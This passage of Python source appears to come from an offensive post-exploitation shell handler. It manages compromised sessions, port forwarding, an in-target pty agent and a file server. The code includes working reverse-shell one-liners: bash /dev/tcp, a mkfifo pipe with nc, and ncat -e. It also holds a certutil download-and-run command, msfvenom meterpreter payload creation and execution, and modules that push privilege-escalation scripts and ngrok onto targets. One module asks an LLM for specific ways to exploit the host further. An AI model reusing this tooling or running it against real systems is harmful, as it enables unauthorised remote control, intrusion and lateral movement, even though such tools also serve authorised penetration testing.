3606 | f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_bat}" "%TEMP%\\{temp_remote_file_bat}"&"%TEMP%\\{temp_remote_file_bat}"&del "%TEMP%\\{temp_remote_file_bat}"',
3607 | force_cmd=True, value=True, timeout=None)
3608 | server.stop()
3609 | if not response:
3610 | logger.error("Upload initialization failed...")
3611 | return []
3612 | if not "DOWNLOAD OK" in response:
3613 | logger.error("Data transfer failed...")
3614 | return []
3615 | if not "UNZIP OK" in response:
3616 | logger.error("Data unpacking failed...")
3617 | return []
3618 |
3619 | # Present uploads
3620 | altnames = list(map(lambda x: destination + ('/' if self.OS == 'Unix' else '\\') + x, altnames))
3621 | for item in altnames:
3622 | uploaded_path = shlex.quote(str(item)) if self.OS == 'Unix' else f'"{item}"'
3623 | logger.info(f"{paint('Upload OK').GREEN_white} {paint(uploaded_path).yellow}")
3624 | print()
3625 |
3626 | return altnames
3627 |
3628 | @agent_only
3629 | def script(self, local_script):
3630 |
3631 | local_script_folder = self.directory / "scripts"
3632 | prefix = datetime.now().strftime("%Y_%m_%d-%H_%M_%S-")
3633 |
3634 | try:
3635 | local_script_folder.mkdir(parents=True, exist_ok=True)
3636 | except Exception as e:
3637 | logger.error(e)
3638 | return False
3639 |
3640 | if re.match(r'(http|ftp)s?://', local_script, re.IGNORECASE):
3641 | try:
3642 | filename, data = url_to_bytes(local_script)
3643 | if not data:
3644 | return False
3645 | except Exception as e:
3646 | logger.error(e)
3647 |
3648 | local_script = local_script_folder / (prefix + filename)
3649 | with open(local_script, "wb") as input_file:
3650 | input_file.write(data)
3651 | else:
3652 | local_script = Path(normalize_path(local_script))
3653 |
3654 | output_file_name = local_script_folder / (prefix + "output.txt")
3655 |
3656 | try:
3657 | input_file = open(local_script, "rb")
3658 | output_file = open(output_file_name, "wb")
3659 | first_line = input_file.readline().strip()
3660 | #input_file.seek(0) # Maybe it is not needed
3661 | if first_line.startswith(b'#!'):
3662 | program = first_line[2:].decode()
3663 | else:
3664 | logger.error("No shebang found")
3665 | return False
3666 |
3667 | tail_cmd = f'tail -n+0 -f {output_file_name}'
3668 | print(tail_cmd)
3669 | Open(tail_cmd, terminal=True)
3670 |
3671 | thread = threading.Thread(target=self.exec, args=(program, ), kwargs={
3672 | 'stdin_src': input_file,
3673 | 'stdout_dst': output_file,
3674 | 'stderr_dst': output_file
3675 | })
3676 | thread.start()
3677 |
3678 | except Exception as e:
3679 | logger.error(e)
3680 | return False
3681 |
3682 | return output_file_name
3683 |
3684 | def spawn(self, port=None, host=None):
3685 |
3686 | if self.OS == "Unix":
3687 | if any([self.listener, port, host]):
3688 |
3689 | port = port or self._port
3690 | host = host or self._host
3691 |
3692 | if not next((listener for listener in core.listeners.values() if listener.port == port), None):
3693 | new_listener = TCPListener(host, port)
3694 |
3695 | if self.bin['bash']:
3696 | cmd = f'printf "{self.bin["setsid"]} {self.bin["bash"]} >& /dev/tcp/{host}/{port} 0>&1 &"|{self.bin["bash"]}'
3697 | elif self.bin['nc']:
3698 | cmd = f'sh -c \'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | {self.bin["sh"]} 2>&1 | nc {host} {port} > /tmp/f &\''
3699 | elif self.bin['sh']:
3700 | ncat_cmd = f'{self.bin["sh"]} -c "{self.bin["setsid"]} {{}} -e {self.bin["sh"]} {host} {port} &"'
3701 | ncat_binary = self.tmp + '/ncat'
3702 | if not self.exec(f"test -f {ncat_binary} || echo x"):
3703 | cmd = ncat_cmd.format(ncat_binary)
3704 | else:
3705 | logger.warning("ncat is not available on the target")
3706 | ncat_binary = self.need_binary(
3707 | "ncat",
3708 | URLS['ncat']
3709 | )
3710 | if ncat_binary:
3711 | cmd = ncat_cmd.format(ncat_binary)
3712 | else:
3713 | logger.error("Spawning shell aborted")
3714 | return False
3715 | else:
3716 | logger.error("No available shell binary is present...")
3717 | return False
3718 |
3719 | logger.info(f"Attempting to spawn a reverse shell on {host}:{port}")
3720 | self.exec(cmd)
3721 |
3722 | # TODO maybe destroy the new_listener upon getting a shell?
3723 | # if new_listener:
3724 | # new_listener.stop()
3725 | else:
3726 | host, port = self.socket.getpeername()
3727 | logger.info(f"Attempting to spawn a bind shell from {host}:{port}")
3728 | if not Connect(host, port):
3729 | logger.info("Spawn bind shell failed. I will try getting a reverse shell...")
3730 | return self.spawn(port, self._host)
3731 |
3732 | elif self.OS == 'Windows':
3733 | logger.warning("Spawn Windows shells is not implemented yet")
3734 |
3735 | return True
3736 |
3737 | @agent_only
3738 | def portfwd(self, _type, lhost, lport, rhost, rport):
3739 |
3740 | session = self
3741 | control = ControlQueue()
3742 | stop = threading.Event()
3743 | task = [(_type, lhost, lport, rhost, rport), control, stop]
3744 |
3745 | class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
3746 | def handle(self):
3747 |
3748 | self.request.setblocking(False)
3749 | stdin_stream = session.new_streamID
3750 | stdout_stream = session.new_streamID
3751 | stderr_stream = session.new_streamID
3752 |
3753 | if not all([stdin_stream, stdout_stream, stderr_stream]):
3754 | return
3755 |
3756 | code = rf"""
3757 | import socket
3758 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3759 | frlist = [stdin_stream]
3760 | connected = False
3761 | while True:
3762 | readables, _, _ = select(frlist, [], [])
3763 |
3764 | for readable in readables:
3765 | if readable is stdin_stream:
3766 | data = stdin_stream.read({options.network_buffer_size})
3767 | if not connected:
3768 | client.connect(("{rhost}", {rport}))
3769 | client.setblocking(False)
3770 | frlist.append(client)
3771 | connected = True
3772 | try:
3773 | client.sendall(data)
3774 | except OSError:
3775 | break
3776 | if not data:
3777 | frlist.remove(stdin_stream)
3778 | break
3779 | if readable is client:
3780 | try:
3781 | data = client.recv({options.network_buffer_size})
3782 | stdout_stream.write(data)
3783 | if not data:
3784 | frlist.remove(client) # TEMP
3785 | break
3786 | except OSError:
3787 | frlist.remove(client) # TEMP
3788 | break
3789 | else:
3790 | continue
3791 | break
3792 | #client.shutdown(socket.SHUT_RDWR)
3793 | client.close()
3794 | """
3795 | session.exec(
3796 | code,
3797 | python=True,
3798 | stdin_stream=stdin_stream,
3799 | stdout_stream=stdout_stream,
3800 | stderr_stream=stderr_stream,
3801 | stdin_src=self.request,
3802 | stdout_dst=self.request,
3803 | agent_control=control
3804 | )
3805 | os.close(stderr_stream._read) #TEMP
3806 |
3807 | class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
3808 | allow_reuse_address = True
3809 | request_queue_size = 100
3810 |
3811 | @handle_bind_errors
3812 | def server_bind(self, lhost, lport):
3813 | self.server_address = (lhost, int(lport))
3814 | super().server_bind()
3815 |
3816 | def server_thread():
3817 | with ThreadedTCPServer(None, ThreadedTCPRequestHandler, bind_and_activate=False) as server:
3818 | if not server.server_bind(lhost, lport):
3819 | return False
3820 | server.server_activate()
3821 | task.append(server)
3822 | logger.info(f"Setup Port Forwarding: {lhost}:{lport} {'->' if _type=='L' else '<-'} {rhost}:{rport}")
3823 | session.tasks['portfwd'].append(task)
3824 | server.serve_forever()
3825 | stop.set()
3826 |
3827 | portfwd_thread = threading.Thread(target=server_thread)
3828 | task.append(portfwd_thread)
3829 | portfwd_thread.start()
3830 |
3831 | def maintain(self):
3832 | with core.lock:
3833 | current_num = len(core.hosts[self.name])
3834 | if 0 < current_num < options.maintain:
3835 | session = core.hosts[self.name][-1]
3836 | logger.warning(paint(
3837 | f" --- Session {session.id} is trying to maintain {options.maintain} "
3838 | f"active shells on {self.name} ---"
3839 | ).blue)
3840 | session.spawn()
3841 | return True
3842 | return False
3843 |
3844 | def kill(self):
3845 |
3846 | if self not in core.rlist:
3847 | return True
3848 |
3849 | thread_name = threading.current_thread().name
3850 | logger.debug(f"Thread <{thread_name}> wants to kill session {self.id}")
3851 |
3852 | if thread_name != 'Core':
3853 | if self.need_control_sessions and\
3854 | not self.spare_control_sessions and\
3855 | self.control_session is self:
3856 | sessions = ', '.join([str(session.id) for session in self.need_control_sessions])
3857 | if thread_name == 'Menu':
3858 | logger.warning(
3859 | f"Cannot kill Session {self.id} as the following sessions depend on it: {sessions}"
3860 | )
3861 | return False
3862 | else:
3863 | logger.error(f"Sessions {sessions} need a control session.")
3864 |
3865 | for module in modules().values():
3866 | if module.enabled and module.on_session_end:
3867 | module.run(self)
3868 |
3869 | core.control << f'self.sessions[{self.id}].kill()'
3870 |
3871 | if menu.sid == self.id:
3872 | menu.set_id(None)
3873 |
3874 | self.maintain()
3875 | return
3876 |
3877 | if self.subchannel.active:
3878 | self.subchannel.control << 'kill'
3879 |
3880 | core.rlist.remove(self)
3881 |
3882 | if self in core.wlist:
3883 | core.wlist.remove(self)
3884 | try:
3885 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0)) # RST
3886 | #self.socket.shutdown(socket.SHUT_RDWR) # FIN
3887 | except OSError:
3888 | pass
3889 |
3890 | self.socket.close()
3891 |
3892 | if not self.OS:
3893 | message = f"Invalid shell from {self.name_colored} 🙄"
3894 | else:
3895 | del core.sessions[self.id]
3896 | core.hosts[self.name].remove(self)
3897 | message = f"Session [{self.id}] died..."
3898 |
3899 | if not core.hosts[self.name]:
3900 | message += f" We lost {self.name_colored} 💔"
3901 | del core.hosts[self.name]
3902 |
3903 | logger.error(message)
3904 |
3905 | if hasattr(self, 'logfile'):
3906 | self.logfile.close()
3907 |
3908 | if self.is_attached:
3909 | self.detach()
3910 |
3911 | for portfwd in self.tasks['portfwd']:
3912 | info, control, stop, thread, server = portfwd
3913 | logger.warning(f"Stopping Port Forwarding: {info[1]}:{info[2]} {'->' if info[0]=='L' else '<-'} {info[3]}:{info[4]}")
3914 | server.shutdown()
3915 | server.server_close()
3916 | while not stop.is_set(): # TEMP
3917 | control << "stop"
3918 | thread.join()
3919 |
3920 | return True
3921 |
3922 |
3923 | class Messenger:
3924 | SHELL = 1
3925 | RESIZE = 2
3926 | EXEC = 3
3927 | STREAM = 4
3928 |
3929 | STREAM_CODE = '!H'
3930 | STREAM_BYTES = struct.calcsize(STREAM_CODE)
3931 |
3932 | LEN_CODE = 'H'
3933 | _LEN_CODE = '!' + 'H'
3934 | LEN_BYTES = struct.calcsize(LEN_CODE)
3935 |
3936 | TYPE_CODE = 'B'
3937 | _TYPE_CODE = '!' + 'B'
3938 | TYPE_BYTES = struct.calcsize(TYPE_CODE)
3939 |
3940 | HEADER_CODE = '!' + LEN_CODE + TYPE_CODE
3941 |
3942 | def __init__(self, bufferclass):
3943 | self.len = None
3944 | self.input_buffer = bufferclass()
3945 | self.length_buffer = bufferclass()
3946 | self.message_buffer = bufferclass()
3947 |
3948 | def message(_type, _data):
3949 | return struct.pack(Messenger.HEADER_CODE, len(_data) + Messenger.TYPE_BYTES, _type) + _data
3950 | message = staticmethod(message)
3951 |
3952 | def feed(self, data):
3953 | self.input_buffer.write(data)
3954 | self.input_buffer.seek(0)
3955 |
3956 | while True:
3957 | if not self.len:
3958 | len_need = Messenger.LEN_BYTES - self.length_buffer.tell()
3959 | data = self.input_buffer.read(len_need)
3960 | self.length_buffer.write(data)
3961 | if len(data) != len_need:
3962 | break
3963 |
3964 | self.len = struct.unpack(Messenger._LEN_CODE, self.length_buffer.getvalue())[0]
3965 | self.length_buffer.seek(0)
3966 | self.length_buffer.truncate()
3967 | else:
3968 | data_need = self.len - self.message_buffer.tell()
3969 | data = self.input_buffer.read(data_need)
3970 | self.message_buffer.write(data)
3971 | if len(data) != data_need:
3972 | break
3973 |
3974 | self.message_buffer.seek(0)
3975 | _type = struct.unpack(Messenger._TYPE_CODE, self.message_buffer.read(Messenger.TYPE_BYTES))[0]
3976 | _message = self.message_buffer.read()
3977 |
3978 | self.len = None
3979 | self.message_buffer.seek(0)
3980 | self.message_buffer.truncate()
3981 | yield _type, _message
3982 |
3983 | self.input_buffer.seek(0)
3984 | self.input_buffer.truncate()
3985 |
3986 | class Stream:
3987 | def __init__(self, _id, _session=None):
3988 | self.id = _id
3989 | self._read, self._write = os.pipe()
3990 | self.writebuf = None
3991 | self.feed_thread = None
3992 | self.session = _session
3993 |
3994 | if self.session is None:
3995 | self.writefunc = lambda data: respond(self.id + data)
3996 | cloexec(self._write)
3997 | cloexec(self._read)
3998 | else:
3999 | self.writefunc = lambda data: self.session.send(Messenger.message(Messenger.STREAM, self.id + data))
4000 |
4001 | def __lshift__(self, data):
4002 | if not self.writebuf:
4003 | self.writebuf = queue.Queue()
4004 | self.writebuf.put(data)
4005 | if not self.feed_thread:
4006 | self.feed_thread = threading.Thread(target=self.feed, name="feed stream -> " + repr(self.id))
4007 | self.feed_thread.start()
4008 |
4009 | def feed(self):
4010 | while True:
4011 | data = self.writebuf.get()
4012 | if not data:
4013 | try:
4014 | os.close(self._write)
4015 | except:
4016 | pass
4017 | break
4018 | try:
4019 | os.write(self._write, data)
4020 | except:
4021 | break
4022 |
4023 | def fileno(self):
4024 | return self._read
4025 |
4026 | def write(self, data):
4027 | self.writefunc(data)
4028 |
4029 | def read(self, n):
4030 | try:
4031 | data = os.read(self._read, n)
4032 | except:
4033 | return "".encode()
4034 | if not data:
4035 | try:
4036 | os.close(self._read)
4037 | except:
4038 | pass
4039 | return data
4040 |
4041 | def agent():
4042 | import os
4043 | import sys
4044 | import pty
4045 | import shlex
4046 | import fcntl
4047 | import struct
4048 | import signal
4049 | import termios
4050 | import threading
4051 | from select import select
4052 | signal.signal(signal.SIGINT, signal.SIG_DFL)
4053 | signal.signal(signal.SIGQUIT, signal.SIG_DFL)
4054 |
4055 | if sys.version_info[0] == 2:
4056 | import Queue as queue
4057 | else:
4058 | import queue
4059 | try:
4060 | import io
4061 | bufferclass = io.BytesIO
4062 | except:
4063 | import StringIO
4064 | bufferclass = StringIO.StringIO
4065 |
4066 | SHELL = "{}"
4067 | NET_BUF_SIZE = {}
4068 | {}
4069 | {}
4070 |
4071 | def respond(_value, _type=Messenger.STREAM):
4072 | wlock.acquire()
4073 | outbuf.seek(0, 2)
4074 | outbuf.write(Messenger.message(_type, _value))
4075 | if not pty.STDOUT_FILENO in wlist:
4076 | wlist.append(pty.STDOUT_FILENO)
4077 | os.write(control_in, "1".encode())
4078 | wlock.release()
4079 |
4080 | def cloexec(fd):
4081 | try:
4082 | flags = fcntl.fcntl(fd, fcntl.F_GETFD)
4083 | fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC)
4084 | except:
4085 | pass
4086 |
4087 | shell_pid, master_fd = pty.fork()
4088 | if shell_pid == pty.CHILD:
4089 | os.execl(SHELL, SHELL, '-i')
4090 | try:
4091 | pty.setraw(pty.STDIN_FILENO)
4092 | except:
4093 | pass
4094 |
4095 | try:
4096 | streams = dict()
4097 | messenger = Messenger(bufferclass)
4098 | outbuf = bufferclass()
4099 | ttybuf = bufferclass()
4100 |
4101 | wlock = threading.Lock()
4102 | control_out, control_in = os.pipe()
4103 | cloexec(control_out)
4104 | cloexec(control_in)
4105 |
4106 | rlist = [control_out, master_fd, pty.STDIN_FILENO]
4107 | wlist = []
4108 | for fd in (master_fd, pty.STDIN_FILENO, pty.STDOUT_FILENO, pty.STDERR_FILENO): # TODO
4109 | flags = fcntl.fcntl(fd, fcntl.F_GETFL)
4110 | fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK)
4111 | cloexec(fd)
4112 |
4113 | while True:
4114 | rfds, wfds, _ = select(rlist, wlist, [])
4115 |
4116 | for readable in rfds:
4117 | if readable is control_out:
4118 | os.read(control_out, 1)
4119 |
4120 | elif readable is master_fd:
4121 | try:
4122 | data = os.read(master_fd, NET_BUF_SIZE)
4123 | except:
4124 | data = ''.encode()
4125 | respond(data, Messenger.SHELL)
4126 | if not data:
4127 | rlist.remove(master_fd)
4128 | try:
4129 | os.close(master_fd)
4130 | except:
4131 | pass
4132 |
4133 | elif readable is pty.STDIN_FILENO:
4134 | try:
4135 | data = os.read(pty.STDIN_FILENO, NET_BUF_SIZE)
4136 | except:
4137 | data = None
4138 | if not data:
4139 | rlist.remove(pty.STDIN_FILENO)
4140 | break
4141 |
4142 | messages = messenger.feed(data)
4143 | for _type, _value in messages:
4144 | if _type == Messenger.SHELL:
4145 | ttybuf.seek(0, 2)
4146 | ttybuf.write(_value)
4147 | if not master_fd in wlist:
4148 | wlist.append(master_fd)
4149 |
4150 | elif _type == Messenger.RESIZE:
4151 | fcntl.ioctl(master_fd, termios.TIOCSWINSZ, _value)
4152 |
4153 | elif _type == Messenger.EXEC:
4154 | sb = str(Messenger.STREAM_BYTES)
4155 | header_size = 1 + int(sb) * 3
4156 | __type, stdin_stream_id, stdout_stream_id, stderr_stream_id = struct.unpack(
4157 | '!c' + (sb + 's') * 3,
4158 | _value[:header_size]
4159 | )
4160 | cmd = _value[header_size:]
4161 |
4162 | if not stdin_stream_id in streams:
4163 | streams[stdin_stream_id] = Stream(stdin_stream_id)
4164 | if not stdout_stream_id in streams:
4165 | streams[stdout_stream_id] = Stream(stdout_stream_id)
4166 | if not stderr_stream_id in streams:
4167 | streams[stderr_stream_id] = Stream(stderr_stream_id)
4168 |
4169 | stdin_stream = streams[stdin_stream_id]
4170 | stdout_stream = streams[stdout_stream_id]
4171 | stderr_stream = streams[stderr_stream_id]
4172 |
4173 | rlist.append(stdout_stream)
4174 | rlist.append(stderr_stream)
4175 |
4176 | if __type == 'S'.encode():
4177 | pid = os.fork()
4178 | if pid == 0:
4179 | os.dup2(stdin_stream._read, 0)
4180 | os.dup2(stdout_stream._write, 1)
4181 | os.dup2(stderr_stream._write, 2)
4182 | os.execl("{}", "sh", "-c", cmd)
4183 | os._exit(1)
4184 | os.close(stdin_stream._read)
4185 | os.close(stdout_stream._write)
4186 | os.close(stderr_stream._write)
4187 |
4188 | elif __type == 'P'.encode():
4189 | def run(stdin_stream, stdout_stream, stderr_stream):
4190 | try:
4191 | {}
4192 | except:
4193 | stderr_stream << (str(sys.exc_info()[1]) + "\n").encode()
4194 | try:
4195 | os.close(stdin_stream._read)
4196 | except:
4197 | pass
4198 |
4199 | del streams[stdin_stream_id]
4200 | stdout_stream << "".encode()
4201 | stderr_stream << "".encode()
4202 | threading.Thread(target=run, args=(stdin_stream, stdout_stream, stderr_stream)).start()
4203 |
4204 | # Incoming streams
4205 | elif _type == Messenger.STREAM:
4206 | stream_id, data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:]
4207 | if not stream_id in streams:
4208 | streams[stream_id] = Stream(stream_id)
4209 | streams[stream_id] << data
4210 |
4211 | # Outgoing streams
4212 | else:
4213 | data = readable.read(NET_BUF_SIZE)
4214 | readable.write(data)
4215 | if not data:
4216 | rlist.remove(readable)
4217 | del streams[readable.id]
4218 |
4219 | else:
4220 | for writable in wfds:
4221 |
4222 | if writable is pty.STDOUT_FILENO:
4223 | sendbuf = outbuf
4224 | wlock.acquire()
4225 |
4226 | elif writable is master_fd:
4227 | sendbuf = ttybuf
4228 |
4229 | try:
4230 | sent = os.write(writable, sendbuf.getvalue())
4231 | except OSError:
4232 | wlist.remove(writable)
4233 | if sendbuf is outbuf:
4234 | wlock.release()
4235 | continue
4236 |
4237 | sendbuf.seek(sent)
4238 | remaining = sendbuf.read()
4239 | sendbuf.seek(0)
4240 | sendbuf.truncate()
4241 | sendbuf.write(remaining)
4242 | if not remaining:
4243 | wlist.remove(writable)
4244 | if sendbuf is outbuf:
4245 | wlock.release()
4246 | continue
4247 | break
4248 | except:
4249 | _, e, t = sys.exc_info()
4250 | import traceback
4251 | traceback.print_exc()
4252 | traceback.print_stack()
4253 | try:
4254 | os.close(master_fd)
4255 | except:
4256 | pass
4257 | os.waitpid(shell_pid, 0)[1]
4258 | os.kill(os.getppid(), signal.SIGKILL) # TODO
4259 |
4260 |
4261 | def modules():
4262 | return {module.__name__:module for module in Module.__subclasses__()}
4263 |
4264 |
4265 | class Module:
4266 | enabled = True
4267 | on_session_start = False
4268 | on_session_end = False
4269 | category = "Misc"
4270 |
4271 |
4272 | class upload_privesc_scripts(Module):
4273 | category = "Privilege Escalation"
4274 | def run(session, args):
4275 | """
4276 | Upload a set of privilege escalation scripts to the target
4277 | """
4278 | if session.OS == 'Unix':
4279 | session.upload(URLS['linpeas'])
4280 | session.upload(URLS['lse'])
4281 | session.upload(URLS['deepce'])
4282 |
4283 | elif session.OS == 'Windows':
4284 | session.upload(URLS['winpeas'])
4285 | session.upload(URLS['powerup'])
4286 | session.upload(URLS['privesccheck'])
4287 |
4288 |
4289 | class peass_ng(Module):
4290 | category = "Privilege Escalation"
4291 | def run(session, args):
4292 | """
4293 | Run the latest version of PEASS-ng in the background
4294 | """
4295 | if session.OS == 'Unix':
4296 | parser = ArgumentParser(prog='peass_ng', description="peass-ng module", add_help=False)
4297 | parser.add_argument("-a", "--ai", help="Analyze linpeas results with chatGPT", action="store_true")
4298 | try:
4299 | arguments = parser.parse_args(shlex.split(args))
4300 | except SystemExit:
4301 | return
4302 | if arguments.ai:
4303 | try:
4304 | from openai import OpenAI
4305 | #api_key = input("Please enter your chatGPT API key: ")
4306 | #assert len(api_key) > 10
4307 | except Exception as e:
4308 | logger.error(e)
4309 | return False
4310 |
4311 | output_file = session.script(URLS['linpeas'])
4312 |
4313 | if arguments.ai:
4314 | api_key = input("Please enter your chatGPT API key: ")
4315 | assert len(api_key) > 10
4316 |
4317 | with open(output_file, "r") as file:
4318 | content = file.read()
4319 |
4320 | client = OpenAI(api_key=api_key)
4321 | stream = client.chat.completions.create(
4322 | model="gpt-4o-mini",
4323 | messages=[
4324 | {"role": "system", "content": "You are a helpful assistant helping me to perform penetration test to protect the systems"},
4325 | {
4326 | "role": "user",
4327 | "content": f"I am pasting here the results of linpeas. Based on the output, I want you to tell me all possible ways the further exploit this system. I want you to be very specific on your analysis and not write generalities and uneccesary information. I want to focus only on your specific suggestions.\n\n\n {content}"
4328 | }
4329 | ],
4330 | stream=True
4331 | )
4332 |
4333 | print('\n═════════════════ chatGPT analysis START ════════════════')
4334 | for chunk in stream:
4335 | if chunk.choices[0].delta.content:
4336 | #print(chunk.choices[0].delta.content, end="", flush=True)
4337 | stdout(chunk.choices[0].delta.content.encode())
4338 | print('\n═════════════════ chatGPT analysis END ════════════════')
4339 |
4340 | elif session.OS == 'Windows':
4341 | logger.error("This module runs only on Unix shells")
4342 |
4343 |
4344 | class lse(Module):
4345 | category = "Privilege Escalation"
4346 | def run(session, args):
4347 | """
4348 | Run the latest version of linux-smart-enumeration in the background
4349 | """
4350 | if session.OS == 'Unix':
4351 | session.script(URLS['lse'])
4352 | else:
4353 | logger.error("This module runs only on Unix shells")
4354 |
4355 |
4356 | class linuxexploitsuggester(Module):
4357 | category = "Privilege Escalation"
4358 | def run(session, args):
4359 | """
4360 | Run the latest version of linux-exploit-suggester in the background
4361 | """
4362 | if session.OS == 'Unix':
4363 | session.script(URLS['les'])
4364 | else:
4365 | logger.error("This module runs only on Unix shells")
4366 |
4367 |
4368 | class meterpreter(Module):
4369 | def run(session, args):
4370 | """
4371 | Get a meterpreter shell
4372 | """
4373 | if session.OS == 'Unix':
4374 | logger.error("This module runs only on Windows shells")
4375 | else:
4376 | payload_path = f"/dev/shm/{rand(10)}.exe"
4377 | host = session._host
4378 | port = 5555
4379 | payload_creation_cmd = f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={host} LPORT={port} -f exe > {payload_path}"
4380 | result = subprocess.run(payload_creation_cmd, shell=True, text=True, capture_output=True)
4381 |
4382 | if result.returncode == 0:
4383 | logger.info("Payload created!")
4384 | uploaded_path = session.upload(payload_path)
4385 | if uploaded_path:
4386 | meterpreter_handler_cmd = (
4387 | f'msfconsole -x "use exploit/multi/handler; '
4388 | f'set payload windows/meterpreter/reverse_tcp; '
4389 | f'set LHOST {host}; set LPORT {port}; run"'
4390 | )
4391 | Open(meterpreter_handler_cmd, terminal=True)
4392 | print(meterpreter_handler_cmd)
4393 | session.exec(uploaded_path[0])
4394 | else:
4395 | logger.error(f"Cannot create meterpreter payload: {result.stderr}")
4396 |
4397 |
4398 | class ngrok(Module):
4399 | category = "Pivoting"
4400 | def run(session, args):
4401 | """
4402 | Setup ngrok
4403 | """
4404 | if session.OS == 'Unix':
4405 | if not session.system == 'Linux':
4406 | logger.error(f"This modules runs only on Linux, not on {session.system}.")
4407 | return False
4408 | session.upload(URLS['ngrok_linux'], remote_path=session.tmp)
4409 | result = session.exec(f"tar xf {session.tmp}/ngrok-v3-stable-linux-amd64.tgz -C ~/.local/bin >/dev/null", value=True)
4410 | if not result:
4411 | logger.info("ngrok successuly extracted on '~/.local/bin'")
4412 | else:
4413 | logger.error(f"Extraction to '~/.local/bin' failed:\n{indent(result, ' ' * 4 + '- ')}")
4414 | return False
4415 | token = input("Authtoken: ")
4416 | session.exec(f"ngrok config add-authtoken {token}")
4417 | else:
4418 | logger.error("This module runs only on Unix shells")
4419 |
4420 |
4421 | class FileServer:
4422 | def __init__(self, *items, port=None, host=None, url_prefix=None, quiet=False):
4423 | self.port = port or options.default_fileserver_port
4424 | self.host = host or options.default_interface
4425 | self.host = Interfaces().translate(self.host)
4426 | self.items = items
4427 | self.url_prefix = url_prefix + '/' if url_prefix else ''
4428 | self.quiet = quiet
4429 | self.filemap = {}
4430 | for item in self.items:
4431 | self.add(item)
4432 |
4433 | def add(self, item):
4434 | if item == '/':
4435 | self.filemap[f'/{self.url_prefix}[root]'] = '/'
4436 | return '/[root]'
4437 |
4438 | item = os.path.abspath(normalize_path(item))
4439 |
4440 | if not os.path.exists(item):
4441 | if not self.quiet:
4442 | logger.warning(f"'{item}' does not exist and will be ignored.")
4443 | return None
4444 |
4445 | if item in self.filemap.values():
4446 | for _urlpath, _item in self.filemap.items():
4447 | if _item == item:
4448 | return _urlpath
4449 |
4450 | urlpath = f"/{self.url_prefix}{os.path.basename(item)}"
4451 | while urlpath in self.filemap:
4452 | root, ext = os.path.splitext(urlpath)
4453 | urlpath = root + '_' + ext
4454 | self.filemap[urlpath] = item
4455 | return urlpath
4456 |
4457 | def remove(self, item):
4458 | item = os.path.abspath(normalize_path(item))
4459 | if item in self.filemap:
4460 | del self.filemap[f"/{os.path.basename(item)}"]
4461 | else:
4462 | if not self.quiet:
4463 | logger.warning(f"{item} is not served.")
4464 |
4465 | @property
4466 | def links(self):
4467 | output = []
4468 | ips = [self.host]
4469 |
4470 | if self.host == '0.0.0.0':
4471 | ips = [ip for ip in Interfaces().list.values()]
4472 |
4473 | for ip in ips:
4474 | output.extend(('', '🏠 http://' + str(paint(ip).cyan) + ":" + str(paint(self.port).red) + '/' + self.url_prefix))
4475 | table = Table(joinchar=' → ')
4476 | for urlpath, filepath in self.filemap.items():
4477 | table += (
4478 | paint(f"{'📁' if os.path.isdir(filepath) else '📄'} ").green +
4479 | paint(f"http://{ip}:{self.port}{urlpath}").white_BLUE, filepath
4480 | )
4481 | output.append(str(table))
4482 | output.append("─" * len(output[1]))
4483 |
4484 | return '\n'.join(output)
4485 |
4486 | def start(self):
4487 | threading.Thread(target=self._start).start()
4488 |
4489 | def _start(self):
4490 | filemap, host, port, url_prefix, quiet = self.filemap, self.host, self.port, self.url_prefix, self.quiet
4491 |
4492 | class CustomTCPServer(socketserver.TCPServer):
4493 | allow_reuse_address = True
4494 |
4495 | def __init__(self, *args, **kwargs):
4496 | self.client_sockets = []
4497 | super().__init__(*args, **kwargs)
4498 |
4499 | @handle_bind_errors
4500 | def server_bind(self, host, port):
4501 | self.server_address = (host, int(port))
4502 | super().server_bind()
4503 |
4504 | def process_request(self, request, client_address):
4505 | self.client_sockets.append(request)
4506 | super().process_request(request, client_address)
4507 |
4508 | def shutdown(self):
4509 | for sock in self.client_sockets:
4510 | try:
4511 | sock.shutdown(socket.SHUT_RDWR)
4512 | sock.close()
4513 | except:
4514 | pass
4515 | super().shutdown()
4516 |
4517 | class CustomHandler(SimpleHTTPRequestHandler):
4518 | def do_GET(self):
4519 | try:
4520 | if self.path == '/' + url_prefix:
4521 | response = ''
4522 | for path in filemap.keys():
4523 | response += f'{path}'
4524 | response = response.encode()
4525 | self.send_response(200)
4526 | self.send_header("Content-type", "text/html")
4527 | self.send_header("Content-Length", str(len(response)))
4528 | self.end_headers()
4529 |
4530 | self.wfile.write(response)
4531 | else:
4532 | super().do_GET()
4533 | except Exception as e:
4534 | logger.error(e)
4535 |
4536 | def translate_path(self, path):
4537 | path = path.split('?', 1)[0]
4538 | path = path.split('#', 1)[0]
4539 | try:
4540 | path = unquote(path, errors='surrogatepass')
4541 | except UnicodeDecodeError:
4542 | path = unquote(path)
4543 | path = os.path.normpath(path)
4544 |
4545 | for urlpath, filepath in filemap.items():
4546 | if path == urlpath:
4547 | return filepath
4548 | elif path.startswith(urlpath):
4549 | relpath = path[len(urlpath):].lstrip('/')
4550 | return os.path.join(filepath, relpath)
4551 | return ""
4552 |
4553 | def log_message(self, format, *args):
4554 | if quiet:
4555 | return None
4556 | message = format % args
4557 | response = message.translate(self._control_char_table).split(' ')
4558 | if not response[0].startswith('"'):
4559 | return
4560 | if response[3][0] == '3':
4561 | color = 'yellow'
4562 | elif response[3][0] in ('4', '5'):
4563 | color = 'red'
4564 | else:
4565 | color = 'green'
4566 |
4567 | response = getattr(paint(f"{response[0]} {response[1]} {response[3]}\""), color)
4568 |
4569 | logger.info(
4570 | f"{paint('[').white}{paint(self.log_date_time_string()).magenta}] "
4571 | f"FileServer({host}:{port}) [{paint(self.address_string()).cyan}] {response}"
4572 | )
4573 |
4574 | with CustomTCPServer((self.host, self.port), CustomHandler, bind_and_activate=False) as self.httpd:
4575 | if not self.httpd.server_bind(self.host, self.port):
4576 | return False
4577 | self.httpd.server_activate()
4578 | self.id = core.new_fileserverID
4579 | core.fileservers[self.id] = self
4580 | if not quiet:
